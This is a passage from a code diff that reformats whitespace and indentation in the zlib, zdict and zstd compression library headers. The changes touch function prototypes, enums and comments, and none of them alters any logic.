ZEXTERN z_off_t ZEXPORT gzoffset64(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off_t); +ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); +ZEXTERN z_off_t ZEXPORT gzseek64(gzFile, z_off_t, int); +ZEXTERN z_off_t ZEXPORT gztell64(gzFile); +ZEXTERN z_off_t ZEXPORT gzoffset64(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off_t); # endif #else - ZEXTERN gzFile ZEXPORT gzopen(const char *, const char *); - ZEXTERN z_off_t ZEXPORT gzseek(gzFile, z_off_t, int); - ZEXTERN z_off_t ZEXPORT gztell(gzFile); - ZEXTERN z_off_t ZEXPORT gzoffset(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); +ZEXTERN gzFile ZEXPORT gzopen(const char *, const char *); +ZEXTERN z_off_t ZEXPORT gzseek(gzFile, z_off_t, int); +ZEXTERN z_off_t ZEXPORT gztell(gzFile); +ZEXTERN z_off_t ZEXPORT gzoffset(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); #endif #else /* Z_SOLO */ - ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); +ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); #endif /* !Z_SOLO */ @@ -1926,8 +1926,8 @@ ZEXTERN gzFile ZEXPORT gzopen_w(const wchar_t *path, #if defined(STDC) || defined(Z_HAVE_STDARG_H) # ifndef Z_SOLO ZEXTERN int ZEXPORTVA gzvprintf(gzFile file, - const char *format, - va_list va); + const char *format, + va_list va); # endif #endif diff --git a/compress/zstd/zdict.h b/compress/zstd/zdict.h index 599b793..e6bc8d0 100644 --- a/compress/zstd/zdict.h +++ b/compress/zstd/zdict.h @@ -21,7 +21,7 @@ extern "C" { /* ===== ZDICTLIB_API : control library symbols visibility ===== */ #ifndef ZDICTLIB_VISIBLE - /* Backwards compatibility with old macro name */ +/* Backwards compatibility with old macro name */ # ifdef ZDICTLIB_VISIBILITY # define ZDICTLIB_VISIBLE ZDICTLIB_VISIBILITY # elif defined(__GNUC__) && (__GNUC__ >= 4) && !defined(__MINGW32__) @@ -208,8 +208,8 @@ extern "C" { * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. */ ZDICTLIB_API size_t ZDICT_trainFromBuffer(void* dictBuffer, size_t dictBufferCapacity, - const void* samplesBuffer, - const size_t* samplesSizes, unsigned nbSamples); + const void* samplesBuffer, + const size_t* samplesSizes, unsigned nbSamples); typedef struct { int compressionLevel; /**< optimize for a specific zstd compression level; 0 means default */ @@ -260,9 +260,9 @@ typedef struct { * * Samples are all exactly the same */ ZDICTLIB_API size_t ZDICT_finalizeDictionary(void* dstDictBuffer, size_t maxDictSize, - const void* dictContent, size_t dictContentSize, - const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples, - ZDICT_params_t parameters); + const void* dictContent, size_t dictContentSize, + const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples, + ZDICT_params_t parameters); /*====== Helper functions ======*/ @@ -350,9 +350,9 @@ typedef struct { * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. */ ZDICTLIB_STATIC_API size_t ZDICT_trainFromBuffer_cover( - void *dictBuffer, size_t dictBufferCapacity, + void *dictBuffer, size_t dictBufferCapacity, const void *samplesBuffer, const size_t *samplesSizes, unsigned nbSamples, - ZDICT_cover_params_t parameters); + ZDICT_cover_params_t parameters); /*! ZDICT_optimizeTrainFromBuffer_cover(): * The same requirements as above hold for all the parameters except `parameters`. @@ -372,9 +372,9 @@ ZDICTLIB_STATIC_API size_t ZDICT_trainFromBuffer_cover( * Note: ZDICT_optimizeTrainFromBuffer_cover() requires about 8 bytes of memory for each input byte and additionally another 5 bytes of memory for each byte of memory for each thread. */ ZDICTLIB_STATIC_API size_t ZDICT_optimizeTrainFromBuffer_cover( - void* dictBuffer, size_t dictBufferCapacity, + void* dictBuffer, size_t dictBufferCapacity, const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples, - ZDICT_cover_params_t* parameters); + ZDICT_cover_params_t* parameters); /*! ZDICT_trainFromBuffer_fastCover(): * Train a dictionary from an array of samples using a modified version of COVER algorithm. @@ -393,9 +393,9 @@ ZDICTLIB_STATIC_API size_t ZDICT_optimizeTrainFromBuffer_cover( * It's recommended that total size of all samples be about ~x100 times the target size of dictionary. */ ZDICTLIB_STATIC_API size_t ZDICT_trainFromBuffer_fastCover(void *dictBuffer, - size_t dictBufferCapacity, const void *samplesBuffer, - const size_t *samplesSizes, unsigned nbSamples, - ZDICT_fastCover_params_t parameters); + size_t dictBufferCapacity, const void *samplesBuffer, + const size_t *samplesSizes, unsigned nbSamples, + ZDICT_fastCover_params_t parameters); /*! ZDICT_optimizeTrainFromBuffer_fastCover(): * The same requirements as above hold for all the parameters except `parameters`. @@ -416,9 +416,9 @@ ZDICTLIB_STATIC_API size_t ZDICT_trainFromBuffer_fastCover(void *dictBuffer, * Note: ZDICT_optimizeTrainFromBuffer_fastCover() requires about 6 * 2^f bytes of memory for each thread. */ ZDICTLIB_STATIC_API size_t ZDICT_optimizeTrainFromBuffer_fastCover(void* dictBuffer, - size_t dictBufferCapacity, const void* samplesBuffer, - const size_t* samplesSizes, unsigned nbSamples, - ZDICT_fastCover_params_t* parameters); + size_t dictBufferCapacity, const void* samplesBuffer, + const size_t* samplesSizes, unsigned nbSamples, + ZDICT_fastCover_params_t* parameters); typedef struct { unsigned selectivityLevel; /* 0 means default; larger => select more => larger dictionary */ @@ -472,7 +472,7 @@ ZDICTLIB_STATIC_API size_t ZDICT_trainFromBuffer_legacy( ZDICT_DEPRECATED("use ZDICT_finalizeDictionary() instead") ZDICTLIB_STATIC_API size_t ZDICT_addEntropyTablesFromBuffer(void* dictBuffer, size_t dictContentSize, size_t dictBufferCapacity, - const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples); + const void* samplesBuffer, const size_t* samplesSizes, unsigned nbSamples); #if defined (__cplusplus) } diff --git a/compress/zstd/zstd.h b/compress/zstd/zstd.h index 60a2f82..f4bf209 100644 --- a/compress/zstd/zstd.h +++ b/compress/zstd/zstd.h @@ -26,7 +26,7 @@ extern "C" { /* ===== ZSTDLIB_API : control library symbols visibility ===== */ #ifndef ZSTDLIB_VISIBLE - /* Backwards compatibility with old macro name */ +/* Backwards compatibility with old macro name */ # ifdef ZSTDLIB_VISIBILITY # define ZSTDLIB_VISIBLE ZSTDLIB_VISIBILITY # elif defined(__GNUC__) && (__GNUC__ >= 4) && !defined(__MINGW32__) @@ -162,7 +162,7 @@ ZSTDLIB_API const char* ZSTD_versionString(void); * @return : compressed size written into `dst` (<= `dstCapacity), * or an error code if it fails (which can be tested using ZSTD_isError()). */ ZSTDLIB_API size_t ZSTD_compress( void* dst, size_t dstCapacity, - const void* src, size_t srcSize, + const void* src, size_t srcSize, int compressionLevel); /*! ZSTD_decompress() : @@ -175,7 +175,7 @@ ZSTDLIB_API size_t ZSTD_compress( void* dst, size_t dstCapacity, * @return : the number of bytes decompressed into `dst` (<= `dstCapacity`), * or an errorCode if it fails (which can be tested using ZSTD_isError()). */ ZSTDLIB_API size_t ZSTD_decompress( void* dst, size_t dstCapacity, - const void* src, size_t compressedSize); + const void* src, size_t compressedSize); /*====== Decompression helper functions ======*/ @@ -295,7 +295,7 @@ ZSTDLIB_API size_t ZSTD_freeCCtx(ZSTD_CCtx* cctx); /* compatible with NULL */ ZSTDLIB_API size_t ZSTD_compressCCtx(ZSTD_CCtx* cctx, void* dst, size_t dstCapacity, - const void* src, size_t srcSize, + const void* src, size_t srcSize, int compressionLevel); /*= Decompression context @@ -315,7 +315,7 @@ ZSTDLIB_API size_t ZSTD_freeDCtx(ZSTD_DCtx* dctx); /* accept NULL pointer * */ ZSTDLIB_API size_t ZSTD_decompressDCtx(ZSTD_DCtx* dctx, void* dst, size_t dstCapacity, - const void* src, size_t srcSize); + const void* src, size_t srcSize); /********************************************* @@ -346,9 +346,9 @@ typedef enum { ZSTD_fast=1, ZSTD_btopt=7, ZSTD_btultra=8, ZSTD_btultra2=9 - /* note : new strategies _might_ be added in the future. - Only the order (from fast to strong) is guaranteed */ -} ZSTD_strategy; + /* note : new strategies _might_ be added in the future. + Only the order (from fast to strong) is guaranteed */ + } ZSTD_strategy; typedef enum { @@ -523,26 +523,26 @@ typedef enum { * note : never ever use experimentalParam? names directly; * also, the enums values themselves are unstable and can still change. */ - ZSTD_c_experimentalParam1=500, - ZSTD_c_experimentalParam2=10, - ZSTD_c_experimentalParam3=1000, - ZSTD_c_experimentalParam4=1001, - ZSTD_c_experimentalParam5=1002, - /* was ZSTD_c_experimentalParam6=1003; is now ZSTD_c_targetCBlockSize */ - ZSTD_c_experimentalParam7=1004, - ZSTD_c_experimentalParam8=1005, - ZSTD_c_experimentalParam9=1006, - ZSTD_c_experimentalParam10=1007, - ZSTD_c_experimentalParam11=1008, - ZSTD_c_experimentalParam12=1009, - ZSTD_c_experimentalParam13=1010, - ZSTD_c_experimentalParam14=1011, - ZSTD_c_experimentalParam15=1012, - ZSTD_c_experimentalParam16=1013, - ZSTD_c_experimentalParam17=1014, - ZSTD_c_experimentalParam18=1015, - ZSTD_c_experimentalParam19=1016, - ZSTD_c_experimentalParam20=1017 + ZSTD_c_experimentalParam1=500, + ZSTD_c_experimentalParam2=10, + ZSTD_c_experimentalParam3=1000, + ZSTD_c_experimentalParam4=1001, + ZSTD_c_experimentalParam5=1002, + /* was ZSTD_c_experimentalParam6=1003; is now ZSTD_c_targetCBlockSize */ + ZSTD_c_experimentalParam7=1004, + ZSTD_c_experimentalParam8=1005, + ZSTD_c_experimentalParam9=1006, + ZSTD_c_experimentalParam10=1007, + ZSTD_c_experimentalParam11=1008, + ZSTD_c_experimentalParam12=1009, + ZSTD_c_experimentalParam13=1010, + ZSTD_c_experimentalParam14=1011, + ZSTD_c_experimentalParam15=1012, + ZSTD_c_experimentalParam16=1013, + ZSTD_c_experimentalParam17=1014, + ZSTD_c_experimentalParam18=1015, + ZSTD_c_experimentalParam19=1016, + ZSTD_c_experimentalParam20=1017 } ZSTD_cParameter; typedef struct { @@ -626,7 +626,7 @@ ZSTDLIB_API size_t ZSTD_CCtx_reset(ZSTD_CCtx* cctx, ZSTD_ResetDirective reset); */ ZSTDLIB_API size_t ZSTD_compress2( ZSTD_CCtx* cctx, void* dst, size_t dstCapacity, - const void* src, size_t srcSize); + const void* src, size_t srcSize); /*********************************************** @@ -662,12 +662,12 @@ typedef enum { * Because they are not stable, it's necessary to define ZSTD_STATIC_LINKING_ONLY to access them. * note : never ever use experimentalParam? names directly */ - ZSTD_d_experimentalParam1=1000, - ZSTD_d_experimentalParam2=1001, - ZSTD_d_experimentalParam3=1002, - ZSTD_d_experimentalParam4=1003, - ZSTD_d_experimentalParam5=1004, - ZSTD_d_experimentalParam6=1005 + ZSTD_d_experimentalParam1=1000, + ZSTD_d_experimentalParam2=1001, + ZSTD_d_experimentalParam3=1002, + ZSTD_d_experimentalParam4=1003, + ZSTD_d_experimentalParam5=1004, + ZSTD_d_experimentalParam6=1005 } ZSTD_dParameter; @@ -703,15 +703,15 @@ ZSTDLIB_API size_t ZSTD_DCtx_reset(ZSTD_DCtx* dctx, ZSTD_ResetDirective reset); ****************************/ typedef struct ZSTD_inBuffer_s { - const void* src; /**< start of input buffer */ - size_t size; /**< size of input buffer */ - size_t pos; /**< position where reading stopped. Will be updated. Necessarily 0 <= pos <= size */ + const void* src; /**< start of input buffer */ + size_t size; /**< size of input buffer */ + size_t pos; /**< position where reading stopped. Will be updated. Necessarily 0 <= pos <= size */ } ZSTD_inBuffer; typedef struct ZSTD_outBuffer_s { - void* dst; /**< start of output buffer */ - size_t size; /**< size of output buffer */ - size_t pos; /**< position where writing stopped. Will be updated. Necessarily 0 <= pos <= size */ + void* dst; /**< start of output buffer */ + size_t size; /**< size of output buffer */ + size_t pos; /**< position where writing stopped. Will be updated. Necessarily 0 <= pos <= size */ } ZSTD_outBuffer; @@ -778,7 +778,7 @@ typedef struct ZSTD_outBuffer_s { * *******************************************************************/ typedef ZSTD_CCtx ZSTD_CStream; /**< CCtx and CStream are now effectively same object (>= v1.3.0) */ - /* Continue to distinguish them for compatibility with older versions <= v1.2.0 */ +/* Continue to distinguish them for compatibility with older versions <= v1.2.0 */ /*===== ZSTD_CStream management functions =====*/ ZSTDLIB_API ZSTD_CStream* ZSTD_createCStream(void); ZSTDLIB_API size_t ZSTD_freeCStream(ZSTD_CStream* zcs); /* accept NULL pointer */ @@ -825,9 +825,9 @@ typedef enum { * or is sometimes implied by methods starting a new compression job (ZSTD_initCStream(), ZSTD_compressCCtx()) */ ZSTDLIB_API size_t ZSTD_compressStream2( ZSTD_CCtx* cctx, - ZSTD_outBuffer* output, - ZSTD_inBuffer* input, - ZSTD_EndDirective endOp); + ZSTD_outBuffer* output, + ZSTD_inBuffer* input, + ZSTD_EndDirective endOp); /* These buffer sizes are softly recommended. @@ -910,7 +910,7 @@ ZSTDLIB_API size_t ZSTD_endStream(ZSTD_CStream* zcs, ZSTD_outBuffer* output); * *******************************************************************************/ typedef ZSTD_DCtx ZSTD_DStream; /**< DCtx and DStream are now effectively same object (>= v1.3.0) */ - /* For compatibility with versions <= v1.2.0, prefer differentiating them. */ +/* For compatibility with versions <= v1.2.0, prefer differentiating them. */ /*===== ZSTD_DStream management functions =====*/ ZSTDLIB_API ZSTD_DStream* ZSTD_createDStream(void); ZSTDLIB_API size_t ZSTD_freeDStream(ZSTD_DStream* zds); /* accept NULL pointer */ @@ -966,10 +966,10 @@ ZSTDLIB_API size_t ZSTD_DStreamOutSize(void); /*!< recommended size for output * It's intended for a dictionary used only once. * Note 2 : When `dict == NULL || dictSize < 8` no dictionary is used. */ ZSTDLIB_API size_t ZSTD_compress_usingDict(ZSTD_CCtx* ctx, - void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - const void* dict,size_t dictSize, - int compressionLevel); + void* dst, size_t dstCapacity, + const void* src, size_t srcSize, + const void* dict,size_t dictSize, + int compressionLevel); /*! ZSTD_decompress_usingDict() : * Decompression using a known Dictionary. @@ -978,9 +978,9 @@ ZSTDLIB_API size_t ZSTD_compress_usingDict(ZSTD_CCtx* ctx, * It's intended for a dictionary used only once. * Note : When `dict == NULL || dictSize < 8` no dictionary is used. */ ZSTDLIB_API size_t ZSTD_decompress_usingDict(ZSTD_DCtx* dctx, - void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - const void* dict,size_t dictSize); + void* dst, size_t dstCapacity, + const void* src, size_t srcSize, + const void* dict,size_t dictSize); /*********************************** @@ -1001,7 +1001,7 @@ typedef struct ZSTD_CDict_s ZSTD_CDict; * This can be useful in a pipeline featuring ZSTD_compress_usingCDict() exclusively, * expecting a ZSTD_CDict parameter with any data, including those without a known dictionary. */ ZSTDLIB_API ZSTD_CDict* ZSTD_createCDict(const void* dictBuffer, size_t dictSize, - int compressionLevel); + int compressionLevel); /*! ZSTD_freeCDict() : * Function frees memory allocated by ZSTD_createCDict(). @@ -1014,9 +1014,9 @@ ZSTDLIB_API size_t ZSTD_freeCDict(ZSTD_CDict* CDict); * Note : compression level is _decided at dictionary creation time_, * and frame parameters are hardcoded (dictID=yes, contentSize=yes, checksum=no) */ ZSTDLIB_API size_t ZSTD_compress_usingCDict(ZSTD_CCtx* cctx, - void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - const ZSTD_CDict* cdict); + void* dst, size_t dstCapacity, + const void* src, size_t srcSize, + const ZSTD_CDict* cdict); typedef struct ZSTD_DDict_s ZSTD_DDict; @@ -1035,9 +1035,9 @@ ZSTDLIB_API size_t ZSTD_freeDDict(ZSTD_DDict* ddict); * Decompression using a digested Dictionary. * Recommended when same dictionary is used multiple times. */ ZSTDLIB_API size_t ZSTD_decompress_usingDDict(ZSTD_DCtx* dctx, - void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - const ZSTD_DDict* ddict); + void* dst, size_t dstCapacity, + const void* src, size_t srcSize, + const ZSTD_DDict* ddict); /******************************** @@ -1145,7 +1145,7 @@ ZSTDLIB_API size_t ZSTD_CCtx_refCDict(ZSTD_CCtx* cctx, const ZSTD_CDict* cdict); * Note 4 : By default, the prefix is interpreted as raw content (ZSTD_dct_rawContent). * Use experimental ZSTD_CCtx_refPrefix_advanced() to alter dictionary interpretation. */ ZSTDLIB_API size_t ZSTD_CCtx_refPrefix(ZSTD_CCtx* cctx, - const void* prefix, size_t prefixSize); + const void* prefix, size_t prefixSize); /*! ZSTD_DCtx_loadDictionary() : Requires v1.4.0+ * Create an internal DDict from dict buffer, to be used to decompress all future frames. @@ -1200,7 +1200,7 @@ ZSTDLIB_API size_t ZSTD_DCtx_refDDict(ZSTD_DCtx* dctx, const ZSTD_DDict* ddict); * A full dictionary is more costly, as it requires building tables. */ ZSTDLIB_API size_t ZSTD_DCtx_refPrefix(ZSTD_DCtx* dctx, - const void* prefix, size_t prefixSize); + const void* prefix, size_t prefixSize); /* === Memory management === */ @@ -1325,9 +1325,9 @@ typedef struct { unsigned int litLength; /* Literal length of the sequence. */ unsigned int matchLength; /* Match length of the sequence. */ - /* Note: Users of this API may provide a sequence with matchLength == litLength == offset == 0. - * In this case, we will treat the sequence as a marker for a block boundary. - */ + /* Note: Users of this API may provide a sequence with matchLength == litLength == offset == 0. + * In this case, we will treat the sequence as a marker for a block boundary. + */ unsigned int rep; /* Represents which repeat offset is represented by the field 'offset'. * Ranges from [0, 3]. @@ -1444,22 +1444,22 @@ typedef enum { } ZSTD_dictAttachPref_e; typedef enum { - ZSTD_lcm_auto = 0, /**< Automatically determine the compression mode based on the compression level. + ZSTD_lcm_auto = 0, /**< Automatically determine the compression mode based on the compression level. * Negative compression levels will be uncompressed, and positive compression * levels will be compressed. */ - ZSTD_lcm_huffman = 1, /**< Always attempt Huffman compression. Uncompressed literals will still be + ZSTD_lcm_huffman = 1, /**< Always attempt Huffman compression. Uncompressed literals will still be * emitted if Huffman compression is not profitable. */ - ZSTD_lcm_uncompressed = 2 /**< Always emit uncompressed literals. */ + ZSTD_lcm_uncompressed = 2 /**< Always emit uncompressed literals. */ } ZSTD_literalCompressionMode_e; typedef enum { - /* Note: This enum controls features which are conditionally beneficial. - * Zstd can take a decision on whether or not to enable the feature (ZSTD_ps_auto), - * but setting the switch to ZSTD_ps_enable or ZSTD_ps_disable force enable/disable the feature. - */ - ZSTD_ps_auto = 0, /* Let the library automatically determine whether the feature shall be enabled */ - ZSTD_ps_enable = 1, /* Force-enable the feature */ - ZSTD_ps_disable = 2 /* Do not use the feature */ + /* Note: This enum controls features which are conditionally beneficial. + * Zstd can take a decision on whether or not to enable the feature (ZSTD_ps_auto), + * but setting the switch to ZSTD_ps_enable or ZSTD_ps_disable force enable/disable the feature. + */ + ZSTD_ps_auto = 0, /* Let the library automatically determine whether the feature shall be enabled */ + ZSTD_ps_enable = 1, /* Force-enable the feature */ + ZSTD_ps_disable = 2 /* Do not use the feature */ } ZSTD_ParamSwitch_e; #define ZSTD_paramSwitch_e ZSTD_ParamSwitch_e /* old name */ @@ -1583,8 +1583,8 @@ ZSTDLIB_STATIC_API size_t ZSTD_decompressionMargin(const void* src, size_t srcSi )) typedef enum { - ZSTD_sf_noBlockDelimiters = 0, /* ZSTD_Sequence[] has no block delimiters, just sequences */ - ZSTD_sf_explicitBlockDelimiters = 1 /* ZSTD_Sequence[] contains explicit block delimiters */ + ZSTD_sf_noBlockDelimiters = 0, /* ZSTD_Sequence[] has no block delimiters, just sequences */ + ZSTD_sf_explicitBlockDelimiters = 1 /* ZSTD_Sequence[] contains explicit block delimiters */ } ZSTD_SequenceFormat_e; #define ZSTD_sequenceFormat_e ZSTD_SequenceFormat_e /* old name */ @@ -1683,8 +1683,8 @@ ZSTDLIB_STATIC_API size_t ZSTD_mergeBlockDelimiters(ZSTD_Sequence* sequences, si ZSTDLIB_STATIC_API size_t ZSTD_compressSequences(ZSTD_CCtx* cctx, void* dst, size_t dstCapacity, - const ZSTD_Sequence* inSeqs, size_t inSeqsSize, - const void* src, size_t srcSize); + const ZSTD_Sequence* inSeqs, size_t inSeqsSize, + const void* src, size_t srcSize); /*! ZSTD_compressSequencesAndLiterals() : @@ -1708,9 +1708,9 @@ ZSTD_compressSequences(ZSTD_CCtx* cctx, ZSTDLIB_STATIC_API size_t ZSTD_compressSequencesAndLiterals(ZSTD_CCtx* cctx, void* dst, size_t dstCapacity, - const ZSTD_Sequence* inSeqs, size_t nbSequences, - const void* literals, size_t litSize, size_t litBufCapacity, - size_t decompressedSize); + const ZSTD_Sequence* inSeqs, size_t nbSequences, + const void* literals, size_t litSize, size_t litBufCapacity, + size_t decompressedSize); /*! ZSTD_writeSkippableFrame() : @@ -1727,8 +1727,8 @@ ZSTD_compressSequencesAndLiterals(ZSTD_CCtx* cctx, * @return : number of bytes written or a ZSTD error. */ ZSTDLIB_STATIC_API size_t ZSTD_writeSkippableFrame(void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - unsigned magicVariant); + const void* src, size_t srcSize, + unsigned magicVariant); /*! ZSTD_readSkippableFrame() : * Retrieves the content of a zstd skippable frame starting at @src, and writes it to @dst buffer. @@ -1742,8 +1742,8 @@ ZSTDLIB_STATIC_API size_t ZSTD_writeSkippableFrame(void* dst, size_t dstCapacity * @return : number of bytes written or a ZSTD error. */ ZSTDLIB_STATIC_API size_t ZSTD_readSkippableFrame(void* dst, size_t dstCapacity, - unsigned* magicVariant, - const void* src, size_t srcSize); + unsigned* magicVariant, + const void* src, size_t srcSize); /*! ZSTD_isSkippableFrame() : * Tells if the content of `buffer` starts with a valid Frame Identifier for a skippable frame. @@ -1851,17 +1851,17 @@ ZSTDLIB_STATIC_API ZSTD_DCtx* ZSTD_initStaticDCtx(void* workspace, size_t wor ZSTDLIB_STATIC_API ZSTD_DStream* ZSTD_initStaticDStream(void* workspace, size_t workspaceSize); /**< same as ZSTD_initStaticDCtx() */ ZSTDLIB_STATIC_API const ZSTD_CDict* ZSTD_initStaticCDict( - void* workspace, size_t workspaceSize, - const void* dict, size_t dictSize, - ZSTD_dictLoadMethod_e dictLoadMethod, - ZSTD_dictContentType_e dictContentType, - ZSTD_compressionParameters cParams); + void* workspace, size_t workspaceSize, + const void* dict, size_t dictSize, + ZSTD_dictLoadMethod_e dictLoadMethod, + ZSTD_dictContentType_e dictContentType, + ZSTD_compressionParameters cParams); ZSTDLIB_STATIC_API const ZSTD_DDict* ZSTD_initStaticDDict( - void* workspace, size_t workspaceSize, - const void* dict, size_t dictSize, - ZSTD_dictLoadMethod_e dictLoadMethod, - ZSTD_dictContentType_e dictContentType); + void* workspace, size_t workspaceSize, + const void* dict, size_t dictSize, + ZSTD_dictLoadMethod_e dictLoadMethod, + ZSTD_dictContentType_e dictContentType); /*! Custom memory allocation : @@ -1871,7 +1871,11 @@ ZSTDLIB_STATIC_API const ZSTD_DDict* ZSTD_initStaticDDict( */ typedef void* (*ZSTD_allocFunction) (void* opaque, size_t size); typedef void (*ZSTD_freeFunction) (void* opaque, void* address); -typedef struct { ZSTD_allocFunction customAlloc; ZSTD_freeFunction customFree; void* opaque; } ZSTD_customMem; +typedef struct { + ZSTD_allocFunction customAlloc; + ZSTD_freeFunction customFree; + void* opaque; +} ZSTD_customMem; static #ifdef __GNUC__ __attribute__((__unused__)) @@ -1892,10 +1896,10 @@ ZSTDLIB_STATIC_API ZSTD_DCtx* ZSTD_createDCtx_advanced(ZSTD_customMem customM ZSTDLIB_STATIC_API ZSTD_DStream* ZSTD_createDStream_advanced(ZSTD_customMem customMem); ZSTDLIB_STATIC_API ZSTD_CDict* ZSTD_createCDict_advanced(const void* dict, size_t dictSize, - ZSTD_dictLoadMethod_e dictLoadMethod, - ZSTD_dictContentType_e dictContentType, - ZSTD_compressionParameters cParams, - ZSTD_customMem customMem); + ZSTD_dictLoadMethod_e dictLoadMethod, + ZSTD_dictContentType_e dictContentType, + ZSTD_compressionParameters cParams, + ZSTD_customMem customMem); /*! Thread pool : * These prototypes make it possible to share a thread pool among multiple compression contexts. @@ -1994,8 +1998,8 @@ ZSTD_DEPRECATED("use ZSTD_compress2") ZSTDLIB_STATIC_API size_t ZSTD_compress_advanced(ZSTD_CCtx* cctx, void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - const void* dict,size_t dictSize, + const void* src, size_t srcSize, + const void* dict,size_t dictSize, ZSTD_parameters params); /*! ZSTD_compress_usingCDict_advanced() : @@ -2005,10 +2009,10 @@ size_t ZSTD_compress_advanced(ZSTD_CCtx* cctx, ZSTD_DEPRECATED("use ZSTD_compress2 with ZSTD_CCtx_loadDictionary") ZSTDLIB_STATIC_API size_t ZSTD_compress_usingCDict_advanced(ZSTD_CCtx* cctx, - void* dst, size_t dstCapacity, - const void* src, size_t srcSize, - const ZSTD_CDict* cdict, - ZSTD_frameParameters fParams); + void* dst, size_t dstCapacity, + const void* src, size_t srcSize, + const ZSTD_CDict* cdict, + ZSTD_frameParameters fParams); /*! ZSTD_CCtx_loadDictionary_byReference() : @@ -2031,23 +2035,23 @@ ZSTDLIB_STATIC_API size_t ZSTD_CCtx_refPrefix_advanced(ZSTD_CCtx* cctx, const vo /* these parameters can be used with ZSTD_setParameter() * they are not guaranteed to remain supported in the future */ - /* Enables rsyncable mode, - * which makes compressed files more rsync friendly - * by adding periodic synchronization points to the compressed data. - * The target average block size is ZSTD_c_jobSize / 2. - * It's possible to modify the job size to increase or decrease - * the granularity of the synchronization point. - * Once the jobSize is smaller than the window size, - * it will result in compression ratio degradation. - * NOTE 1: rsyncable mode only works when multithreading is enabled. - * NOTE 2: rsyncable performs poorly in combination with long range mode, - * since it will decrease the effectiveness of synchronization points, - * though mileage may vary. - * NOTE 3: Rsyncable mode limits maximum compression speed to ~400 MB/s. - * If the selected compression level is already running significantly slower, - * the overall speed won't be significantly impacted. - */ - #define ZSTD_c_rsyncable ZSTD_c_experimentalParam1 +/* Enables rsyncable mode, + * which makes compressed files more rsync friendly + * by adding periodic synchronization points to the compressed data. + * The target average block size is ZSTD_c_jobSize / 2. + * It's possible to modify the job size to increase or decrease + * the granularity of the synchronization point. + * Once the jobSize is smaller than the window size, + * it will result in compression ratio degradation. + * NOTE 1: rsyncable mode only works when multithreading is enabled. + * NOTE 2: rsyncable performs poorly in combination with long range mode, + * since it will decrease the effectiveness of synchronization points, + * though mileage may vary. + * NOTE 3: Rsyncable mode limits maximum compression speed to ~400 MB/s. + * If the selected compression level is already running significantly slower, + * the overall speed won't be significantly impacted. + */ +#define ZSTD_c_rsyncable ZSTD_c_experimentalParam1 /* Select a compression format. * The value must be of type ZSTD_format_e. @@ -2430,7 +2434,7 @@ ZSTDLIB_STATIC_API size_t ZSTD_CCtxParams_getParameter(const ZSTD_CCtx_params* p * with a few restrictions (windowLog, pledgedSrcSize, nbWorkers, jobSize, and overlapLog are not updated). */ ZSTDLIB_STATIC_API size_t ZSTD_CCtx_setParametersUsingCCtxParams( - ZSTD_CCtx* cctx, const ZSTD_CCtx_params* params); + ZSTD_CCtx* cctx, const ZSTD_CCtx_params* params); /*! ZSTD_compressStream2_simpleArgs() : * Same as ZSTD_compressStream2(), @@ -2439,10 +2443,10 @@ ZSTDLIB_STATIC_API size_t ZSTD_CCtx_setParametersUsingCCtxParams( * which have troubles handling structures containing memory pointers. */ ZSTDLIB_STATIC_API size_t ZSTD_compressStream2_simpleArgs ( - ZSTD_CCtx* cctx, - void* dst, size_t dstCapacity, size_t* dstPos, - const void* src, size_t srcSize, size_t* srcPos, - ZSTD_EndDirective endOp); + ZSTD_CCtx* cctx, + void* dst, size_t dstCapacity, size_t* dstPos, + const void* src, size_t srcSize, size_t* srcPos, + ZSTD_EndDirective endOp); /*************************************** @@ -2614,9 +2618,9 @@ size_t ZSTD_DCtx_setFormat(ZSTD_DCtx* dctx, ZSTD_format_e format); * which have troubles handling structures containing memory pointers. */ ZSTDLIB_STATIC_API size_t ZSTD_decompressStream_simpleArgs ( - ZSTD_DCtx* dctx, - void* dst, size_t dstCapacity, size_t* dstPos, - const void* src, size_t srcSize, size_t* srcPos); + ZSTD_DCtx* dctx, + void* dst, size_t dstCapacity, size_t* dstPos, + const void* src, size_t srcSize, size_t* srcPos); /******************************************************************** @@ -2643,8 +2647,8 @@ ZSTDLIB_STATIC_API size_t ZSTD_decompressStream_simpleArgs ( ZSTD_DEPRECATED("use ZSTD_CCtx_reset, see zstd.h for detailed instructions") ZSTDLIB_STATIC_API size_t ZSTD_initCStream_srcSize(ZSTD_CStream* zcs, - int compressionLevel, - unsigned long long pledgedSrcSize); + int compressionLevel, + unsigned long long pledgedSrcSize); /*! ZSTD_initCStream_usingDict() : * This function is DEPRECATED, and is equivalent to: @@ -2661,8 +2665,8 @@ size_t 